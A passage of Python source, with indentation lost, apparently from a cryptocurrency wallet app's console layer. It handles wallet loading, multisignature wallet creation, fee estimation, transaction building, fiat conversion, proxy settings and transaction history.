self.server_host = str(net_params.server.host) + ' (connecting...)'
self.proxy_config = net_params.proxy or {}
mode = self.proxy_config.get('mode')
host = self.proxy_config.get('host')
port = self.proxy_config.get('port')
self.proxy_str = (host + ':' + port) if mode else _('None')
# self.callbackIntent.onCallback("update_interfaces")
def update_wallet(self):
self.update_status()
# self.callbackIntent.onCallback("update_wallet")
def on_network_event(self, event, *args):
if self.wallet is not None and not self.coins.__contains__(self.wallet.wallet_type[0:3]):
if event == 'network_updated':
self.update_interfaces()
self.update_status()
elif event == 'wallet_updated':
self.update_status()
self.update_wallet()
elif event == 'blockchain_updated':
# to update number of confirmations in history
self.update_wallet()
elif event == 'status':
self.update_status()
elif event == 'new_transaction':
self.update_wallet()
elif event == 'verified':
self.update_wallet()
elif event == 'set_server_status':
if self.callbackIntent is not None:
self.callbackIntent.onCallback("set_server_status=%s" % args[0])
def ticker_action(self):
if self.wallet is not None and not self.coins.__contains__(self.wallet.wallet_type[0:3]):
self.update_wallet()
self.update_interfaces()
def daemon_action(self):
self.daemon_running = True
self.daemon.run_daemon()
def start_daemon(self):
t1 = threading.Thread(target=self.daemon_action)
t1.setDaemon(True)
t1.start()
# import time
# time.sleep(1.0)
print("parent thread")
def status(self):
"""Get daemon status"""
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
return self.daemon.run_daemon({"subcommand": "status"})
def stop(self):
"""Stop the daemon"""
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
self.daemon.stop()
self.daemon.join()
self.daemon_running = False
def get_wallet_type(self, name):
return self.local_wallet_info.get(name)
def set_hd_wallet(self, wallet_obj):
if self.hd_wallet is None:
self.hd_wallet = wallet_obj
def load_wallet(self, name, password=None):
'''
load an wallet
:param name: wallet name as a string
:param password: the wallet password as a string
:return:
'''
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
path = self._wallet_path(name)
wallet = self.daemon.get_wallet(path)
if not wallet:
storage = WalletStorage(path)
if not storage.file_exists():
# (_("Your {} were successfully imported").format(title))
raise BaseException(_("Failed to load file {}".format(path)))
if storage.is_encrypted():
if not password:
raise BaseException(util.InvalidPassword())
storage.decrypt(password)
db = WalletDB(storage.read(), manual_upgrades=False)
if db.requires_split():
return
if db.requires_upgrade():
return
if db.get_action():
return
if self.coins.__contains__(db.data['wallet_type'][0:3]):
wallet = Eth_Wallet(db, storage, config=self.config)
else:
wallet = Wallet(db, storage, config=self.config)
wallet.start_network(self.network)
if self.local_wallet_info.__contains__(name):
wallet_type = self.local_wallet_info.get(name)['type']
if -1 != wallet_type.find('btc-hd-'):
self.set_hd_wallet(wallet)
# if -1 != wallet_type.find('btc-hd-'):
# self.btc_derived_info.set_hd_wallet(wallet)
# elif -1 != wallet_type.find('%s-hd' %wallet_type[0:3]):
# self.coins[wallet_type[0:3]]['derivedInfoObj'].set_hd_wallet(wallet)
self.daemon.add_wallet(wallet)
def close_wallet(self, name=None):
"""Close a wallet"""
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
self.daemon.stop_wallet(self._wallet_path(name))
def set_syn_server(self, flag):
'''
Enable/disable sync server
:param flag: flag as bool
:return:
'''
try:
self.label_flag = flag
self.config.set_key('use_labels', bool(flag))
if self.label_flag and self.wallet and self.wallet.wallet_type != "btc-standard" and self.wallet.wallet_type != "eth-standard":
self.label_plugin.load_wallet(self.wallet)
except Exception as e:
raise BaseException(e)
# #set callback##############################
def set_callback_fun(self, callbackIntent):
self.callbackIntent = callbackIntent
# craete multi wallet##############################
def set_multi_wallet_info(self, name, m, n):
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
if self.wizard is not None:
self.wizard = None
self.wizard = MutiBase.MutiBase(self.config)
path = self._wallet_path(name)
print("console:set_multi_wallet_info:path = %s---------" % path)
self.wizard.set_multi_wallet_info(path, m, n)
self.m = m
self.n = n
def add_xpub(self, xpub, device_id=None, account_id=0, type=84):
try:
print(f"add_xpub........{xpub, device_id}")
self._assert_daemon_running()
self._assert_wizard_isvalid()
if BIP32Node.from_xkey(xpub).xtype != 'p2wsh' and self.n >= 2:
xpub = BIP32Node.get_p2wsh_from_other(xpub)
self.wizard.restore_from_xpub(xpub, device_id, account_id, type=type)
except Exception as e:
raise BaseException(e)
def get_device_info(self, wallet_info):
'''
Get hardware device info
:return:
'''
try:
device_info = wallet_info.get_device_info()
return device_info
except BaseException as e:
raise e
def delete_xpub(self, xpub):
'''
Delete xpub when create multi-signature wallet
:param xpub: WIF pubkey
:return:
'''
try:
self._assert_daemon_running()
self._assert_wizard_isvalid()
self.wizard.delete_xpub(xpub)
except Exception as e:
raise BaseException(e)
def get_keystores_info(self):
try:
self._assert_daemon_running()
self._assert_wizard_isvalid()
ret = self.wizard.get_keystores_info()
except Exception as e:
raise BaseException(e)
return ret
def set_sync_server_host(self, ip, port):
'''
Set sync server host/port
:param ip: the server host (exp..."127.0.0.1")
:param port: the server port (exp..."port")
:return:
'''
try:
if self.label_flag:
self.label_plugin.set_host(ip, port)
self.config.set_key('sync_server_host', '%s:%s' % (ip, port))
data = self.label_plugin.ping_host()
except BaseException as e:
raise e
def get_sync_server_host(self):
'''
Get sync server host,you can pull label/xpubs/tx to server
:return:
'''
try:
return self.config.get('sync_server_host', "39.105.86.163:8080")
except BaseException as e:
raise e
def get_cosigner_num(self):
try:
self._assert_daemon_running()
self._assert_wizard_isvalid()
except Exception as e:
raise BaseException(e)
return self.wizard.get_cosigner_num()
def create_multi_wallet(self, name, hd=False, hide_type=False) -> str:
try:
self._assert_daemon_running()
self._assert_wizard_isvalid()
temp_path = self.get_temp_file()
path = self._wallet_path(temp_path)
wallet_type = "btc-hw-%s-%s" % (self.m, self.n)
keystores = self.get_keystores_info()
storage, db = self.wizard.create_storage(path=path, password='', hide_type=hide_type)
except Exception as e:
raise BaseException(e)
if storage:
wallet = Wallet(db, storage, config=self.config)
self.check_exist_file(wallet.get_addresses()[0])
wallet.status_flag = ("btc-hw-%s-%s" % (self.m, self.n))
wallet.hide_type = hide_type
wallet.set_name(name)
wallet.save_db()
self.daemon.add_wallet(wallet)
self.update_wallet_name(temp_path, self.get_unique_path(wallet))
wallet = self.get_wallet_by_name(self.get_unique_path(wallet))
wallet.start_network(self.daemon.network)
if hd:
wallet_type = "btc-hd-hw-%s-%s" % (self.m, self.n)
else:
wallet_type = "btc-hw-derived-%s-%s" % (self.m, self.n)
if not hide_type:
self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type)
self.wallet = wallet
self.wallet_name = wallet.basename()
print("console:create_multi_wallet:wallet_name = %s---------" % self.wallet_name)
# self.select_wallet(self.wallet_name)
if self.label_flag and not hide_type:
wallet_name = ""
if wallet_type[0:1] == '1':
wallet_name = name
else:
wallet_name = "共管钱包"
self.label_plugin.create_wallet(self.wallet, wallet_type, wallet_name)
self.wizard = None
wallet_info = CreateWalletInfo.create_wallet_info(coin_type="btc", name=self.wallet_name)
out = self.get_create_info_by_json(wallet_info=wallet_info)
return json.dumps(out)
def pull_tx_infos(self):
'''
Get real-time multi-signature transaction info from sync_server
'''
try:
self._assert_wallet_isvalid()
if self.label_flag and self.wallet.wallet_type != "standard":
data = self.label_plugin.pull_tx(self.wallet)
data_list = json.loads(data)
except_list = []
data_list.reverse()
for txinfo in data_list:
try:
tx = tx_from_any(txinfo['tx'])
tx.deserialize()
self.do_save(tx)
# print(f"pull_tx_infos============ save ok {txinfo['tx_hash']}")
except BaseException as e:
# print(f"except-------- {txinfo['tx_hash'],txinfo['tx']}")
temp_data = {}
temp_data['tx_hash'] = txinfo['tx_hash']
temp_data['error'] = str(e)
except_list.append(temp_data)
pass
# return json.dumps(except_list)
# self.sync_timer = threading.Timer(5.0, self.pull_tx_infos)
# self.sync_timer.start()
except BaseException as e:
raise BaseException(e)
def bulk_create_wallet(self, wallets_info):
'''
Create wallets in bulk
:param wallets_info:[{m,n,name,[xpub1,xpub2,xpub3]}, ....]
:return:
'''
wallets_list = json.loads(wallets_info)
create_failed_into = {}
for m, n, name, xpubs in wallets_list:
try:
self.import_create_hw_wallet(name, m, n, xpubs)
except BaseException as e:
create_failed_into[name] = str(e)
return json.dumps(create_failed_into)
def import_create_hw_wallet(self, name, m, n, xpubs, hide_type=False, hd=False, path='bluetooth'):
'''
Create a wallet
:param name: wallet name as str
:param m: number of consigner as str
:param n: number of signers as str
:param xpubs: all xpubs as [xpub1, xpub2....]
:param hide_type: whether to create a hidden wallet as bool
:param hd: whether to create hd wallet as bool
:param derived: whether to create hd derived wallet as bool
:return: the wallet info recovered
'''
try:
if hd:
return self.recovery_hd_derived_wallet(xpub=self.hw_info['xpub'], hw=True, path=path)
print(f"xpubs=========={m, n, xpubs}")
self.set_multi_wallet_info(name, m, n)
xpubs_list = json.loads(xpubs)
for xpub_info in xpubs_list:
if len(xpub_info) == 2:
self.add_xpub(xpub_info[0], xpub_info[1], account_id=self.hw_info['account_id'],
type=self.hw_info['type'])
else:
self.add_xpub(xpub_info, account_id=self.hw_info['account_id'], type=self.hw_info['type'])
wallet_name = self.create_multi_wallet(name, hd=hd, hide_type=hide_type)
if len(self.hw_info) != 0:
bip39_path = self.get_coin_derived_path(self.hw_info['account_id'])
self.update_devired_wallet_info(bip39_path, self.hw_info['xpub'], name)
return wallet_name
except BaseException as e:
raise e
############
def get_wallet_info_from_server(self, xpub):
'''
Get all wallet info that created by the xpub
:param xpub: xpub from read by hardware as str
:return:
'''
try:
if self.label_flag:
Vpub_data = []
title = ('Vpub' if constants.net.TESTNET else 'Zpub')
if xpub[0:4] == title:
Vpub_data = json.loads(self.label_plugin.pull_xpub(xpub))
xpub = BIP32Node.get_p2wpkh_from_p2wsh(xpub)
vpub_data = json.loads(self.label_plugin.pull_xpub(xpub))
return json.dumps(Vpub_data + vpub_data if Vpub_data is not None else vpub_data)
except BaseException as e:
raise e
# #create tx#########################
def get_default_fee_status(self):
'''
Get default fee,now is ETA
:return: the fee info as 180sat/byte
'''
try:
x = 1
self.config.set_key('mempool_fees', x == 2)
self.config.set_key('dynamic_fees', x > 0)
return self.config.get_fee_status()
except BaseException as e:
raise e
def get_eth_gas_price(self):
'''
Get eth gas price
:return: json
'''
try:
return self.pywalib.get_gas_price()
except BaseException as e:
raise e
def get_amount(self, amount):
try:
x = Decimal(str(amount))
except:
return None
# scale it to max allowed precision, make it an int
power = pow(10, self.decimal_point)
max_prec_amount = int(power * x)
return max_prec_amount
def set_dust(self, dust_flag):
'''
Enable/disable use dust
:param dust_flag: as bool
:return:
'''
if dust_flag != self.config.get('dust_flag', True):
self.dust_flag = dust_flag
self.config.set_key('dust_flag', self.dust_flag)
def parse_output(self, outputs):
all_output_add = json.loads(outputs)
outputs_addrs = []
for key in all_output_add:
for address, amount in key.items():
outputs_addrs.append(PartialTxOutput.from_address_and_value(address, self.get_amount(
amount) if amount != "!" else amount))
print("console.mktx[%s] wallet_type = %s use_change=%s add = %s" % (
self.wallet, self.wallet.wallet_type, self.wallet.use_change, self.wallet.get_addresses()))
return outputs_addrs
def get_coins(self, coins_info):
coins = []
for utxo in self.coins:
info = utxo.to_json()
temp_utxo = {}
temp_utxo[info['prevout_hash']] = info['address']
if coins_info.__contains__(temp_utxo):
coins.append(utxo)
return coins
def get_best_block_by_feerate(self, feerate, list):
if feerate < list[20]:
return 25
elif list[20] <= feerate < list[10]:
return 20
elif list[10] <= feerate < list[5]:
return 10
elif list[5] <= feerate < list[4]:
return 5
elif list[4] <= feerate < list[3]:
return 4
elif list[3] <= feerate < list[2]:
return 3
elif list[2] <= feerate < list[1]:
return 2
elif list[1] <= feerate:
return 1
def format_return_data(self, feerate, size, block):
fee = float(feerate / 1000) * size
ret_data = {
'fee': self.format_amount(fee),
'feerate': feerate / 1000,
'time': block * BTC_BLOCK_INTERVAL_TIME,
'fiat': self.daemon.fx.format_amount_and_units(fee) if self.daemon.fx else None,
'size': size
}
return ret_data
def get_default_fee_info(self, feerate=None):
try:
fee_info_list = self.get_block_info()
my_change_addr_size = Transaction.estimated_output_size(self.wallet.get_addresses()[0])
out_size_p2pkh = 34 + my_change_addr_size
out_info = {}
if feerate is None:
for block, feerate in fee_info_list.items():
if block == 2 or block == 5 or block == 10:
key = "slow" if block == 10 else "normal" if block == 5 else "fast" if block == 2 else "slowest"
out_info[key] = self.format_return_data(feerate, out_size_p2pkh, block)
else:
block = self.get_best_block_by_feerate(float(feerate) * 1000, fee_info_list)
out_info["customer"] = self.format_return_data(float(feerate) * 1000, out_size_p2pkh, block)
return json.dumps(out_info)
except BaseException as e:
raise e
def get_block_info(self):
fee_info_list = self.config.get_block_fee_info()
if fee_info_list is not None:
self.config.set_key("fee_info_list", fee_info_list)
else:
fee_info_list = self.config.get("fee_info_list", fee_info_list)
if fee_info_list is None:
fee_info = read_json('server_config.json', {})
fee_info_list = fee_info['feerate_info']
return fee_info_list
def get_fee_by_feerate(self, outputs, message, feerate, customer=None):
'''
Get fee info when transfer
:param outputs: outputs info as json [{addr1, value}, ...]
:param message: what you want say as sting
:param feerate: feerate retruned by get_default_fee_status api
:param customer: User choose coin as bool
:return: json
'''
try:
self._assert_wallet_isvalid()
outputs_addrs = self.parse_output(outputs)
if customer is None:
coins = self.wallet.get_spendable_coins(domain=None)
else:
coins = self.get_coins(json.loads(customer))
print(f"coins=========={coins}")
c, u, x = self.wallet.get_balance()
if not coins and self.config.get('confirmed_only', False):
raise BaseException(_("Please use unconfirmed utxo."))
fee_per_kb = 1000 * Decimal(feerate)
from functools import partial
fee_estimator = partial(self.config.estimate_fee_for_feerate, fee_per_kb)
# tx = self.wallet.make_unsigned_transaction(coins=coins, outputs = outputs_addrs, fee=self.get_amount(fee_estimator))
tx = self.wallet.make_unsigned_transaction(coins=coins, outputs=outputs_addrs, fee=fee_estimator)
tx.set_rbf(self.rbf)
self.wallet.set_label(tx.txid(), message)
size = tx.estimated_size()
fee = tx.get_fee()
print("feee-----%s size =%s" % (fee, size))
self.tx = tx
# print("console:mkun:tx====%s" % self.tx)
tx_details = self.wallet.get_tx_info(tx)
print("tx_details 1111111 = %s" % json.dumps(tx_details))
fee_info_list = self.get_block_info()
block = self.get_best_block_by_feerate(float(feerate) * 1000, fee_info_list)
ret_data = {
'amount': self.format_amount(tx_details.amount),
'size': size,
'fee': self.format_amount(tx_details.fee),
'time': block * BTC_BLOCK_INTERVAL_TIME,
'tx': str(self.tx)
}
return json.dumps(ret_data)
except NotEnoughFunds:
raise BaseException(NotEnoughFundsStr())
except BaseException as e:
raise BaseException(e)
def mktx(self, tx=None):
'''
Confirm to create transaction
:param tx: tx that created by get_fee_by_feerate
:return: tx info
'''
try:
self._assert_wallet_isvalid()
tx = tx_from_any(tx)
tx.deserialize()
try:
print(f"do save tx")
# self.txdb.add_tx_info(self.wallet.get_addresses()[0], tx, tx.txid())
# self.do_save(tx)
except BaseException as e:
pass
except Exception as e:
raise BaseException(e)
ret_data = {
'tx': str(self.tx)
}
try:
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.push_tx(self.wallet, 'createtx', tx.txid(), str(self.tx))
except Exception as e:
print(f"push_tx createtx error {e}")
pass
json_str = json.dumps(ret_data)
return json_str
def deserialize(self, raw_tx):
try:
tx = Transaction(raw_tx)
tx.deserialize()
except Exception as e:
raise BaseException(e)
def eth_max_button_use_gas(self, gas_price, coin=None):
from electrum.pywalib import DEFAULT_GAS_LIMIT, GWEI_BASE
return PyWalib.get_max_use_gas(gas_price)
# ### coinjoin
# def join_tx_with_another(self, tx: 'PartialTransaction', other_tx: 'PartialTransaction') -> None:
# if tx is None or other_tx is None:
# raise BaseException("tx or other_tx is empty")
# try:
# print(f"join_tx_with_another.....in.....")
# tx = tx_from_any(tx)
# other_tx = tx_from_any(other_tx)
# if not isinstance(tx, PartialTransaction):
# raise BaseException('TX must partial transactions.')
# except BaseException as e:
# raise BaseException(("Bixin was unable to parse your transaction") + ":\n" + repr(e))
# try:
# print(f"join_tx_with_another.......{tx, other_tx}")
# tx.join_with_other_psbt(other_tx)
# except BaseException as e:
# raise BaseException(("Error joining partial transactions") + ":\n" + repr(e))
# return tx.serialize_as_bytes().hex()
# def export_for_coinjoin(self, export_tx) -> PartialTransaction:
# if export_tx is None:
# raise BaseException("export_tx is empty")
# export_tx = tx_from_any(export_tx)
# if not isinstance(export_tx, PartialTransaction):
# raise BaseException("Can only export partial transactions for coinjoins.")
# tx = copy.deepcopy(export_tx)
# tx.prepare_for_export_for_coinjoin()
# return tx.serialize_as_bytes().hex()
# ####
def format_amount(self, x, is_diff=False, whitespaces=False):
return util.format_satoshis(x, is_diff=is_diff, num_zeros=self.num_zeros, decimal_point=self.decimal_point,
whitespaces=whitespaces)
def base_unit(self):
return util.decimal_point_to_base_unit_name(self.decimal_point)
# set use unconfirmed coin
def set_unconf(self, x):
'''
Enable/disable spend confirmed_only input
:param x: as bool
:return:
'''
self.config.set_key('confirmed_only', bool(x))
# fiat balance
def get_currencies(self):
'''
Get fiat list
:return:json exp:{'CNY', 'USD'...}
'''
self._assert_daemon_running()
currencies = sorted(self.daemon.fx.get_currencies(self.daemon.fx.get_history_config()))
return json.dumps(currencies)
def get_exchanges(self):
'''
Get exchange server list
:return: json exp:{'exchanges', ...}
'''
if not self.daemon.fx: return
b = self.daemon.fx.is_enabled()
if b:
h = self.daemon.fx.get_history_config()
c = self.daemon.fx.get_currency()
exchanges = self.daemon.fx.get_exchanges_by_ccy(c, h)
else:
exchanges = self.daemon.fx.get_exchanges_by_ccy('USD', False)
return json.dumps(sorted(exchanges))
def set_exchange(self, exchange):
'''
Set exchange server
:param exchange: exchange server name
:return:
'''
if self.daemon.fx and self.daemon.fx.is_enabled() and exchange and exchange != self.daemon.fx.exchange.name():
self.daemon.fx.set_exchange(exchange)
def set_currency(self, ccy):
'''
Set fiat
:param ccy: fiat as str
:return:
'''
self.daemon.fx.set_enabled(True)
if ccy != self.ccy:
self.daemon.fx.set_currency(ccy)
self.ccy = ccy
self.update_status()
def get_exchange_currency(self, type, amount):
'''
You can get coin to fiat or get fiat to coin
:param type: base/fiat as str
:param amount: value
exp:
if you want get fiat from coin,like this:
get_exchange_currency("base", 1)
return: 1,000.34 CNY
if you want get coin from fiat, like this:
get_exchange_currency("fiat", 1000)
return: 1 mBTC
'''
text = ""
rate = self.daemon.fx.exchange_rate() if self.daemon.fx else Decimal('NaN')
if rate.is_nan() or amount is None:
return text
else:
if type == "base":
amount = self.get_amount(amount)
text = self.daemon.fx.ccy_amount_str(amount * Decimal(rate) / COIN, False)
elif type == "fiat":
text = self.format_amount((int(Decimal(amount) / Decimal(rate) * COIN)))
return text
def get_coin_exchange_currency(self, value, from_coin):
try:
last_price = PyWalib.get_coin_price(from_coin.upper())
data = self.daemon.fx.format_amount_and_units(
self.get_amount(value * last_price)) if self.daemon.fx else None
return data
except BaseException as e:
raise e
def set_base_uint(self, base_unit):
'''
Set base unit for(BTC/mBTC/bits/sat)
:param base_unit: (BTC or mBTC or bits or sat) as str
:return:
'''
self.base_unit = base_unit
self.decimal_point = util.base_unit_name_to_decimal_point(self.base_unit)
self.config.set_key('decimal_point', self.decimal_point, True)
self.update_status()
def format_amount_and_units(self, amount):
try:
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
text = self.format_amount(amount) + ' ' + self.base_unit
x = self.daemon.fx.format_amount_and_units(amount) if self.daemon.fx else None
if text and x:
text += ' (%s)' % x
return text
# #proxy
def set_proxy(self, proxy_mode, proxy_host, proxy_port, proxy_user, proxy_password):
'''
Set proxy server
:param proxy_mode: SOCK4/SOCK5 as str
:param proxy_host: server ip
:param proxy_port: server port
:param proxy_user: login user that you registed
:param proxy_password: login password that you registed
:return:
'''
try:
net_params = self.network.get_parameters()
proxy = None
if (proxy_mode != "" and proxy_host != "" and proxy_port != ""):
proxy = {'mode': str(proxy_mode).lower(),
'host': str(proxy_host),
'port': str(proxy_port),
'user': str(proxy_user),
'password': str(proxy_password)}
net_params = net_params._replace(proxy=proxy)
self.network.run_from_another_thread(self.network.set_parameters(net_params))
except BaseException as e:
raise e
# #qr api
def get_raw_tx_from_qr_data(self, data):
try:
from electrum.util import bh2u
return bh2u(base_decode(data, None, base=43))
except BaseException as e:
raise e
def get_qr_data_from_raw_tx(self, raw_tx):
try:
from electrum.bitcoin import base_encode, bfh
text = bfh(raw_tx)
return base_encode(text, base=43)
except BaseException as e:
raise e
def recover_tx_info(self, tx):
try:
tx = tx_from_any(str(tx))
temp_tx = copy.deepcopy(tx)
temp_tx.deserialize()
temp_tx.add_info_from_wallet(self.wallet)
return temp_tx
except BaseException as e:
raise e
def get_tx_info_from_raw(self, raw_tx, tx_list=None):
'''
You can get detail info from a raw_tx
:param raw_tx: raw tx
:return:
'''
try:
print("console:get_tx_info_from_raw:tx===%s" % raw_tx)
tx = self.recover_tx_info(raw_tx)
except Exception as e:
tx = None
raise BaseException(e)
data = {}
data = self.get_details_info(tx, tx_list=tx_list)
return data
def get_input_info(self, tx):
input_list = []
for txin in tx.inputs():
input_info = {}
addr = self.wallet.get_txin_address(txin)
if addr is None:
import asyncio
try:
addr = asyncio.run_coroutine_threadsafe(
self.gettransaction(txin.prevout.txid.hex(), txin.prevout.out_idx),
self.network.asyncio_loop).result()
except:
addr = ''
input_info['address'] = addr
input_list.append(input_info)
return input_list
def get_fee_from_server(self, txid):
"""Retrieve a transaction. """
url_info = read_json('server_config.json', {})
url_list = url_info['btc_server']
for urlinfo in url_list:
for key, url in urlinfo.items():
url += txid
try:
import requests
response = requests.get(url, timeout=2)
# response = await self.network.send_http_on_proxy("get", url, timeout=2)
response_json = response.json()
except BaseException as e:
print(f"error....when get_btc_fee.....{e}")
pass
continue
if response_json.__contains__('fee'):
return self.format_amount_and_units(response_json['fee'])
elif response_json.__contains__('fees'):
return self.format_amount_and_units(response_json['fees'])
else:
continue
return ""
# def get_receive_fee_by_hash(self, tx_hash):
# import asyncio
# try:
# fee = asyncio.run_coroutine_threadsafe(
# self.get_fee_from_server(tx_hash),
# self.network.asyncio_loop).result()
# except:
# fee = None
# return fee
def get_details_info(self, tx, tx_list=None):
try:
self._assert_wallet_isvalid()
except Exception as e:
raise BaseException(e)
tx_details = self.wallet.get_tx_info(tx)
if 'Partially signed' in tx_details.status:
temp_s, temp_r = tx.signature_count()
s = int(temp_s / len(tx.inputs()))
r = len(self.wallet.get_keystores())
elif 'Unsigned' in tx_details.status:
s = 0
r = len(self.wallet.get_keystores())
else:
if self.wallet.wallet_type == "standard" or self.wallet.wallet_type == "imported":
s = r = len(self.wallet.get_keystores())
else:
s, r = self.wallet.wallet_type.split("of", 1)
in_list = self.get_input_info(tx)
out_list = []
for index, o in enumerate(tx.outputs()):
address, value = o.address, o.value
out_info = {}
out_info['addr'] = address
out_info['amount'] = self.format_amount_and_units(value)
out_info['is_change'] = True if (index == len(tx.outputs()) - 1) and (len(tx.outputs()) != 1) else False
out_list.append(out_info)
amount_str = ""
if tx_details.amount is None:
amount_str = _("Transaction not related to the current wallet.")
else:
amount_str = self.format_amount_and_units(tx_details.amount)
block_height = tx_details.tx_mined_status.height
show_fee = ""
if tx_details.fee is not None:
show_fee = self.format_amount_and_units(tx_details.fee)
else:
if tx_list is None:
show_fee_list = self.txdb.get_received_tx_fee_info(tx_details.txid)
if len(show_fee_list) != 0:
show_fee = show_fee_list[0][1]
if show_fee == "":
show_fee = self.get_fee_from_server(tx_details.txid)
if show_fee != "":
self.txdb.add_received_tx_fee_info(tx_details.txid, show_fee)
ret_data = {
'txid': tx_details.txid,
'can_broadcast': tx_details.can_broadcast,
'amount': amount_str,
'fee': show_fee,
# 'description': self.wallet.get_label(tx_details.txid) if 44 != int(self.wallet.keystore.get_derivation_prefix().split('/')[COIN_POS].split('\'')[0]) else "",
'description': "",
'tx_status': tx_details.status,
'sign_status': [s, r],
'output_addr': out_list,
'input_addr': in_list,
'height': block_height,
'cosigner': [x.xpub if not isinstance(x, Imported_KeyStore) else "" for x in self.wallet.get_keystores()],
'tx': str(tx),
'show_status': [1, _("Unconfirmed")] if (
block_height == 0 or (block_height < 0 and not tx_details.can_broadcast)) else [3, _(
"Confirmed")] if block_height > 0 else [2, _("Sending failure")]
}
json_data = json.dumps(ret_data)
return json_data
# invoices
def delete_invoice(self, key):
try:
self._assert_wallet_isvalid()
self.wallet.delete_invoice(key)
except Exception as e:
raise BaseException(e)
def get_invoices(self):
try:
self._assert_wallet_isvalid()
return self.wallet.get_invoices()
except Exception as e:
raise BaseException(e)
def do_save(self, tx):
try:
if not self.wallet.add_transaction(tx):
raise BaseException(
_(("Transaction cannot be saved. It conflicts with current history. tx=").format(tx.txid())))
except BaseException as e:
raise BaseException(e)
else:
self.wallet.save_db()
def update_invoices(self, old_tx, new_tx):
try:
self._assert_wallet_isvalid()
self.wallet.update_invoice(old_tx, new_tx)
except Exception as e:
raise BaseException(e)
def clear_invoices(self):
try:
self._assert_wallet_isvalid()
self.wallet.clear_invoices()
except Exception as e:
raise BaseException(e)
##get history
def get_eth_tx_list(self):
try:
return PyWalib.get_transaction_history(self.wallet.get_addresses()[0])
except BaseException as e:
raise e
##history
def get_history_tx(self):
try:
self._assert_wallet_isvalid()
except Exception as e:
raise BaseException(e)
history = reversed(self.wallet.get_history())
all_data = [self.get_card(*item) for item in history]
return json.dumps(all_data)
# get input address for receive tx
async def gettransaction(self, txid, n):
"""Retrieve a transaction. """
tx = None
raw = await self.network.get_transaction(txid, timeout=3)
if raw:
tx = Transaction(raw)
else:
raise Exception("Unknown transaction")
if tx.txid() != txid:
raise Exception("Mismatching txid")
addr = tx._outputs[n].address
return addr
def get_all_tx_list(self, search_type=None):
'''
Get the histroy list with the wallet that you select
:param search_type: None/send/receive as str
:return:
'''
history_data = []
try:
history_info = self.get_history_tx()
except BaseException as e:
raise e
history_dict = json.loads(history_info)
if search_type is None:
history_data = history_dict
elif search_type == 'send':
for info in history_dict:
if info['is_mine']:
history_data.append(info)
elif search_type == 'receive':
for info in history_dict:
if not info['is_mine']:
history_data.append(info)
all_data = []
if search_type == "receive":
for info in history_data:
self.get_history_show_info(info, all_data)
return json.dumps(all_data)
else:
for info in history_data:
self.get_history_show_info(info, all_data)
local_tx = self.txdb.get_tx_info(self.wallet.get_addresses()[0])
for info in local_tx:
i = {}
i['type'] = 'history'
data = self.get_tx_info_from_raw(info[3], tx_list=True)
i['tx_status'] = _("Sending failure")
i['date'] = util.format_time(int(info[4]))
i['tx_hash'] = info[0]
i['is_mine'] = True
i['confirmations'] = 0
data = json.loads(data)
i['address'] = self.get_show_addr(data['output_addr'][0]['addr'])
amount = data['amount'].split(" ")[0]
if amount[0] == '-':
amount = amount[1:]
fee = data['fee'].split(" ")[0]
fait = self.daemon.fx.format_amount_and_units(float(amount) + float(fee)) if self.daemon.fx else None
show_amount = '%.8f' % (float(amount) + float(fee))
show_amount = str(show_amount).rstrip('0')
if show_amount[-1] == '.':
show_amount = show_amount[0:-1]
i['amount'] = '%s %s (%s)' % (show_amount, self.base_unit, fait)
all_data.append(i)
all_data.sort(reverse=True, key=lambda info: info['date'])
return json.dumps(all_data)
def get_show_addr(self, addr):
return '%s...%s' % (addr[0:6], addr[-6:])
def get_history_show_info(self, info, list_info):
info['type'] = 'history'
data = self.get_tx_info(info['tx_hash'], tx_list=True)
info['tx_status'] = json.loads(data)['tx_status']
info['address'] = self.get_show_addr(json.loads(data)['output_addr'][0]['addr']) if info[
'is_mine'] else self.get_show_addr(json.loads(data)['input_addr'][0]['address'])
time = self.txdb.get_tx_time_info(info['tx_hash'])
if len(time) != 0:
info['date'] = util.format_time(int(time[0][1]))
list_info.append(info)
def get_tx_info(self, tx_hash, tx_list=None):
'''
Get detail info by tx_hash
:param tx_hash:
:return:
'''
try:
self._assert_wallet_isvalid()
except Exception as e:
raise BaseException(e)
tx = self.wallet.db.get_transaction(tx_hash)
if not tx:
local_tx = self.txdb.get_tx_info(self.wallet.get_addresses()[0])
for temp_tx in local_tx:
if temp_tx[0] == tx_hash:
return self.get_tx_info_from_raw(temp_tx[3])
raise BaseException(_('Failed to get transaction details.'))
# tx = PartialTransaction.from_tx(tx)
label = self.wallet.get_label(tx_hash) or None
tx = copy.deepcopy(tx)
try:
tx.deserialize()
except Exception as e:
raise e
tx.add_info_from_wallet(self.wallet)
return self.get_details_info(tx, tx_list=tx_list)
def get_card(self, tx_hash, tx_mined_status, delta, fee, balance):
try:
self._assert_wallet_isvalid()
self._assert_daemon_running()
except Exception as e:
raise BaseException(e)
status, status_str = self.wallet.get_tx_status(tx_hash, tx_mined_status)
label = self.wallet.get_label(tx_hash) if tx_hash else ""
ri = {}
ri['tx_hash'] = tx_hash
ri['date'] = status_str
ri['message'] = label
ri['confirmations'] = tx_mined_status.conf
if delta is not None:
ri['is_mine'] = delta < 0
if delta < 0: delta = - delta
ri['amount'] = self.format_amount_and_units(delta)
if self.fiat_unit:
fx = self.daemon.fx
fiat_value = delta / Decimal(bitcoin.COIN) * self.wallet.price_at_timestamp(tx_hash, fx.timestamp_rate)
fiat_value = Fiat(fiat_value, fx.ccy)
ri['quote_text'] = fiat_value.to_ui_string()
return ri
def get_wallet_address_show_UI(self, next=None):
'''
Get receving address
:param next: if you want change address, you can set the param
:return:
'''
try:
self._assert_wallet_isvalid()
show_addr_info = self.config.get("show_addr_info", {})
if show_addr_info.__contains__(self.wallet.__str__()):
self.show_addr = show_addr_info[self.wallet.__str__()]
else:
self.show_addr = self.wallet.get_addresses()[0]
if next:
addr = self.wallet.create_new_address(False)
self.show_addr = addr
show_addr_info[self.wallet.__str__()] = self.show_addr
self.config.set_key("show_addr_info", show_addr_info)
data = util.create_bip21_uri(self.show_addr, "", "")
except Exception as e:
raise BaseException(e)
data_json = {}
data_json['qr_data'] = data
data_json['addr'] = self.show_addr
